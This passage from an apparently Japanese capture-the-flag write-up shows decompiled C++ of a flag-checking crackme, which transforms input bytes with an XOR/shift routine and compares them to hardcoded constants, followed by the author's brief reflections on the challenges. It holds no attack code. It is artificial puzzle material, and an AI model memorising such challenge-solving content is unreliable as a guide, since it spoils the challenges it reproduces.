throw std::logic_error("Must not reach here"); } bool Func1() { long long var0 = {}; long long var1 = {}; long long var2 = {}; signed char var3 = {}; signed char var4[36] = {}; signed char* var5 = {}; signed char var6[36] = {}; signed char* var7 = {}; int var8 = {}; bool var9 = {}; long long var10 = {}; long long var11 = {}; long long var12 = {}; int var13 = {}; signed char* var14 = {}; signed char* var15 = {}; int var16 = {}; bool var17 = {}; long long var18 = {}; int var19 = {}; bool var20 = {}; signed char var21 = {}; bool var22 = {}; bool var23 = {}; int var24 = {}; bool var25 = {}; long long var26 = {}; long long var27 = {}; long long var28 = {}; int var29 = {}; signed char* var30 = {}; signed char* var31 = {}; int var32 = {}; int var33 = {}; long long var34 = {}; long long var35 = {}; int var36 = {}; int var37 = {}; signed char* var38 = {}; int var39 = {}; signed char* var40 = {}; long long var41 = {}; bool var42 = {}; int var43 = {}; bool var44 = {}; int var45 = {}; signed char* var46 = {}; int var47 = {}; signed char* var48 = {}; int var49 = {}; bool var50 = {}; bool var51 = {}; int var52 = {}; signed char* var53 = {}; int var54 = {}; signed char* var55 = {}; int var56 = {}; bool var57 = {}; bool var58 = {}; int var59 = {}; signed char* var60 = {}; int var61 = {}; signed char* var62 = {}; int var63 = {}; bool var64 = {}; bool var65 = {}; int var66 = {}; signed char* var67 = {}; int var68 = {}; signed char* var69 = {}; int var70 = {}; bool var71 = {}; bool var72 = {}; int var73 = {}; signed char* var74 = {}; int var75 = {}; signed char* var76 = {}; int var77 = {}; bool var78 = {}; bool var79 = {}; int var80 = {}; signed char* var81 = {}; int var82 = {}; signed char* var83 = {}; int var84 = {}; bool var85 = {}; bool var86 = {}; int var87 = {}; signed char* var88 = {}; int var89 = {}; signed char* var90 = {}; int var91 = {}; bool var92 = {}; bool var93 = {}; int var94 = {}; signed char* var95 = {}; int var96 = {}; signed char* var97 = {}; int var98 = {}; bool var99 = {}; bool var100 = {}; long long var101 = {}; long long var102 = {}; bool var103 = {}; constexpr auto const104 = 0x00000000; constexpr auto const105 = 0x00000000; constexpr auto const106 = 0x00000007; constexpr auto const107 = 0x00000000; constexpr auto const108 = 0x00000000; constexpr auto const109 = 0x00000024; constexpr auto const110 = 0x00000020; constexpr auto const111 = 0x00000020; constexpr auto const112 = 0x00000000; constexpr auto const113 = 0x00000001; constexpr auto const114 = 0x00000001; constexpr auto const115 = 0x00000001; constexpr auto const116 = 0x00000000; constexpr auto const117 = 0x00000001; constexpr auto const118 = 0x00000000; constexpr auto const119 = 0x0000007D; constexpr auto const120 = 0x00000000; constexpr auto const121 = 0x00000001; constexpr auto const122 = 0x00000000; constexpr auto const123 = 0x00000000; constexpr auto const124 = 0x00000000; constexpr auto const125 = 0x00000020; constexpr auto const126 = 0x00000020; constexpr auto const127 = 0x00000000; constexpr auto const128 = 0x0000001E; constexpr auto const129 = 0x00000020; constexpr auto const130 = 0x00000004; constexpr auto const131 = 0x00000000; constexpr auto const132 = 0x00000004; constexpr auto const133 = 0x00000004; constexpr auto const134 = 0x00000024; constexpr auto const135 = 0x739E80A2; constexpr auto const136 = 0x00000004; constexpr auto const137 = 0x00000000; constexpr auto const138 = 0x00000004; constexpr auto const139 = 0x00000001; constexpr auto const140 = 0x3AAE80A3; constexpr auto const141 = 0x00000004; constexpr auto const142 = 0x00000000; constexpr auto const143 = 0x00000004; constexpr auto const144 = 0x00000002; constexpr auto const145 = 0x3BA4E79F; constexpr auto const146 = 0x00000004; constexpr auto const147 = 0x00000000; constexpr auto const148 = 0x00000004; constexpr auto const149 = 0x00000003; constexpr auto const150 = 0x78BAC1F3; constexpr auto const151 = 0x00000004; constexpr auto const152 = 0x00000000; constexpr auto const153 = 0x00000004; constexpr auto const154 = 0x00000004; constexpr auto const155 = 0x5EF9C1F3; constexpr auto const156 = 0x00000004; constexpr auto const157 = 0x00000000; constexpr auto const158 = 0x00000004; constexpr auto const159 = 0x00000005; constexpr auto const160 = 0x3BB9EC9F; constexpr auto const161 = 0x00000004; constexpr auto const162 = 0x00000000; constexpr auto const163 = 0x00000004; constexpr auto const164 = 0x00000006; constexpr auto const165 = 0x558683F4; constexpr auto const166 = 0x00000004; constexpr auto const167 = 0x00000000; constexpr auto const168 = 0x00000004; constexpr auto const169 = 0x00000007; constexpr auto const170 = 0x55FAD594; constexpr auto const171 = 0x00000004; constexpr auto const172 = 0x00000000; constexpr auto const173 = 0x00000004; constexpr auto const174 = 0x00000008; constexpr auto const175 = 0x6CBFDD9F; label0: var5 = (var4 + const104); var7 = (var6 + const105); var8 = my_seek(const106, const107); var2 = const108; goto label2; label1: var9 = ((unsigned long long)(long long)var18 < (unsigned long long)(long long)const109); var2 = var18; if (var9 & 1) {goto label2;} else {goto label3;} label2: var10 = var2; var11 = (var10 << const110); var12 = ((long long)var11 >> const111); var13 = (var12 & 0xffffffffffffffff); var14 = (var4 + const112); var15 = (var14 + (var13 * var65)); var16 = my_read(var15, const113); var17 = (var16 < const114); var18 = (var10 + const115); var0 = const116; if (var17 & 1) {goto label7;} else {goto label1;} label3: var19 = my_read(&var3, const117); var20 = ((long long)var19 > (long long)const118); var21 = var3; var22 = (var21 == const119); var23 = (var20 & var22); var0 = const120; if (var23 & 1) {goto label4;} else {goto label7;} label4: var24 = my_read(&var3, const121); var25 = ((long long)var24 > (long long)const122); var1 = const123; var0 = const124; if (var25 & 1) {goto label7;} else {goto label5;} label5: var26 = var1; var27 = (var26 << const125); var28 = ((long long)var27 >> const126); var29 = (var28 & 0xffffffffffffffff); var30 = (var4 + const127); var31 = (var30 + (var29 * var65)); var32 = *var31; var33 = Func2(var32); var34 = (var26 << const128); var35 = ((long long)var34 >> const129); var36 = (var35 & 0xffffffffffffffff); var37 = (const130 * const131); var38 = (var7 + (var37 * var65)); var39 = (const132 * var36); var40 = (var38 + (var39 * var65)); *var40 = var33; var41 = (var26 + const133); var42 = ((unsigned long long)(long long)var41 < (unsigned long long)(long long)const134); var1 = var41; if (var42 & 1) {goto label5;} else {goto label6;} label6: var43 = *var7; var44 = (var43 == const135); var45 = (const136 * const137); var46 = (var7 + (var45 * var65)); var47 = (const138 * const139); var48 = (var46 + (var47 * var65)); var49 = *var48; var50 = (var49 == const140); var51 = (var44 & var50); var52 = (const141 * const142); var53 = (var7 + (var52 * var65)); var54 = (const143 * const144); var55 = (var53 + (var54 * var65)); var56 = *var55; var57 = (var56 == const145); var58 = (var51 & var57); var59 = (const146 * const147); var60 = (var7 + (var59 * var65)); var61 = (const148 * const149); var62 = (var60 + (var61 * var65)); var63 = *var62; var64 = (var63 == const150); var65 = (var58 & var64); var66 = (const151 * const152); var67 = (var7 + (var66 * var65)); var68 = (const153 * const154); var69 = (var67 + (var68 * var65)); var70 = *var69; var71 = (var70 == const155); var72 = (var65 & var71); var73 = (const156 * const157); var74 = (var7 + (var73 * var65)); var75 = (const158 * const159); var76 = (var74 + (var75 * var65)); var77 = *var76; var78 = (var77 == const160); var79 = (var72 & var78); var80 = (const161 * const162); var81 = (var7 + (var80 * var65)); var82 = (const163 * const164); var83 = (var81 + (var82 * var65)); var84 = *var83; var85 = (var84 == const165); var86 = (var79 & var85); var87 = (const166 * const167); var88 = (var7 + (var87 * var65)); var89 = (const168 * const169); var90 = (var88 + (var89 * var65)); var91 = *var90; var92 = (var91 == const170); var93 = (var86 & var92); var94 = (const171 * const172); var95 = (var7 + (var94 * var65)); var96 = (const173 * const174); var97 = (var95 + (var96 * var65)); var98 = *var97; var99 = (var98 == const175); var100 = (var93 & var99); var101 = (long long)var100 & 0x00000001; var0 = var101; goto label7; label7: var102 = var0; var103 = (var102 & 0xffffffffffffffff); return var103; throw std::logic_error("Must not reach here"); } int Func2(int var0) { long long var1 = {}; long long var2 = {}; long long var3 = {}; long long var4 = {}; int var5 = {}; int var6 = {}; int var7 = {}; int var8 = {}; int var9 = {}; int var10 = {}; int var11 = {}; int var12 = {}; int var13 = {}; int var14 = {}; bool var15 = {}; long long var16 = {}; long long var17 = {}; constexpr auto const18 = 0x00000000; constexpr auto const19 = 0x0ACAB3C0; constexpr auto const20 = 0x00000003; constexpr auto const21 = 0x000000FF; constexpr auto const22 = 0x00000008; constexpr auto const23 = 0x00000018; constexpr auto const24 = 0x00000001; constexpr auto const25 = 0x00000004; label0: var2 = const18; var1 = const19; goto label1; label1: var3 = var1; var4 = var2; var5 = (var3 & 0xffffffffffffffff); var6 = (var4 & 0xffffffffffffffff); var7 = (var6 << const20); var8 = (long long)((unsigned long long)(long long)var0 >> var7); var9 = (var8 & const21); var10 = (var9 ^ var5); var11 = (var10 << const22); var12 = (long long)((unsigned long long)(long long)var5 >> const23); var13 = (var11 | var12); var14 = (var6 + const24); var15 = (var14 == const25); var16 = (long long)var14 & 0x000FFFFF; var17 = (long long)var13 & 0x000FFFFF; var2 = var16; var1 = var17; if (var15 & 1) {goto label2;} else {goto label1;} label2: return var13; throw std::logic_error("Must not reach here"); } int main() { g_inputLength = scanf("%s", g_input); Func0(); puts(g_succeeded ? "Congratulations!" : "Wrong..."); }
感想
- 非warmup問題を解けたので満足です!
- 正解チームが多いとは言え、Rust製バイナリ問題も解けたので満足です!
- Devil Hunter問題のような実行可能バイナリではない独自形式は、頼れる手段が減って難しいです。